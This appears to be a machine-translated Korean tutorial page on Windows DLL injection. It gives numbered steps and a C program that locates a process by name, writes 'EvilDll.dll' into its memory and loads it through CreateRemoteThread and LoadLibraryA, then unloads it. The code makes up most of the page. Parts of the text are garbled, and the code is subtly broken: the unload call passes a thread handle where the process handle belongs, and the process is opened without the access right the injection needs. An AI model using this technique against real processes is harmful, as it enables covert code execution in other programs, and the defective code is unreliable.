전체 DLL 도입

47490 단어
Dll 주입:
1, OpenProcess는 프로세스를 실행할 핸들을 가져옵니다.
2, VirtualAllocEx는 원격 프로세스에서 strlen(dllname)+1 길이의 메모리를 개척한다.
3, WriteProcessMemory는 두 번째 단계에서 개척한 메모리에 Dll의 이름을 씁니다.
4, CreateRemoteThread는 LoadLibraryA를 스레드 함수로 하고 Dll의 이름을 매개 변수로 하여 새 스레드를 만듭니다.
5, CloseHandle 스레드 핸들 닫기
Dll을 마운트 해제하려면 다음과 같이 하십시오.
1,CreateRemoteThread는 GetModuleHandle을 원격 프로세스에 주입하고 매개 변수는 주입된 Dll 이름입니다
2, GetExitCodeThread는 스레드가 종료된 종료 코드를 Dll 모듈의 핸들 값으로 사용합니다.
3, CloseHandle 스레드 핸들 닫기
3, CreateRemoteThread는 FreeLibraryA를 원격 프로세스에 주입하고 매개 변수는 두 번째 단계에서 얻은 핸들 값입니다.
4, WaitForSingleObject 객체 핸들이 반환될 때까지 대기
5, CloseHandle은 스레드와 프로세스 핸들을 닫습니다.

  
  
  
  
  1. //Code By Pnig0s1992 
  2. //Date:2012,3,13 
  3. #include <stdio.h> 
  4. #include <Windows.h> 
  5. #include <TlHelp32.h> 
  6.  
  7.  
  8. DWORD getProcessHandle(LPCTSTR lpProcessName)// PID 
  9.     DWORD dwRet = 0; 
  10.     HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
  11.     if(hSnapShot == INVALID_HANDLE_VALUE) 
  12.     { 
  13.         printf("
    %d"
    ,GetLastError()); 
  14.         return dwRet; 
  15.     } 
  16.  
  17.     PROCESSENTRY32 pe32;//  
  18.     pe32.dwSize = sizeof(PROCESSENTRY32);//  
  19.     Process32First(hSnapShot,&pe32);//  
  20.     do  
  21.     { 
  22.         if(!lstrcmp(pe32.szExeFile,lpProcessName))// PID 
  23.         { 
  24.             dwRet = pe32.th32ProcessID; 
  25.             break
  26.         } 
  27.     } while (Process32Next(hSnapShot,&pe32)); 
  28.     CloseHandle(hSnapShot); 
  29.     return dwRet;//  
  30.  
  31. INT main(INT argc,CHAR * argv[]) 
  32.     DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]); 
  33.     LPCSTR lpDllName = "EvilDll.dll"
  34.     HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); 
  35.     if(hProcess == NULL) 
  36.     { 
  37.         printf("
    %d"
    ,GetLastError()); 
  38.         return -1; 
  39.     } 
  40.     DWORD dwSize = strlen(lpDllName)+1;  
  41.     DWORD dwHasWrite; 
  42.     LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE); 
  43.     if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite)) 
  44.     { 
  45.         if(dwHasWrite != dwSize) 
  46.         { 
  47.             VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT); 
  48.             CloseHandle(hProcess); 
  49.             return -1; 
  50.         } 
  51.  
  52.     }else 
  53.     { 
  54.         printf("
    %d。"
    ,GetLastError()); 
  55.         CloseHandle(hProcess); 
  56.         return -1; 
  57.     } 
  58.  
  59.     DWORD dwNewThreadId; 
  60.     LPVOID lpLoadDll = LoadLibraryA; 
  61.     HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId); 
  62.     if(hNewRemoteThread == NULL) 
  63.     { 
  64.         printf("
    %d"
    ,GetLastError()); 
  65.         CloseHandle(hProcess); 
  66.         return -1; 
  67.     } 
  68.  
  69.     WaitForSingleObject(hNewRemoteThread,INFINITE); 
  70.     CloseHandle(hNewRemoteThread); 
  71.  
  72.     // Dll 
  73.     DWORD dwHandle,dwID; 
  74.     LPVOID pFunc = GetModuleHandleA;// Dll  
  75.     HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID); 
  76.     WaitForSingleObject(hThread,INFINITE); 
  77.     GetExitCodeThread(hThread,&dwHandle);// Dll  
  78.     CloseHandle(hThread); 
  79.     pFunc = FreeLibrary; 
  80.     hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); // FreeLibraryA Dll 
  81.     WaitForSingleObject(hThread,INFINITE); 
  82.     CloseHandle(hThread); 
  83.     CloseHandle(hProcess); 
  84.     return 0; 

좋은 웹페이지 즐겨찾기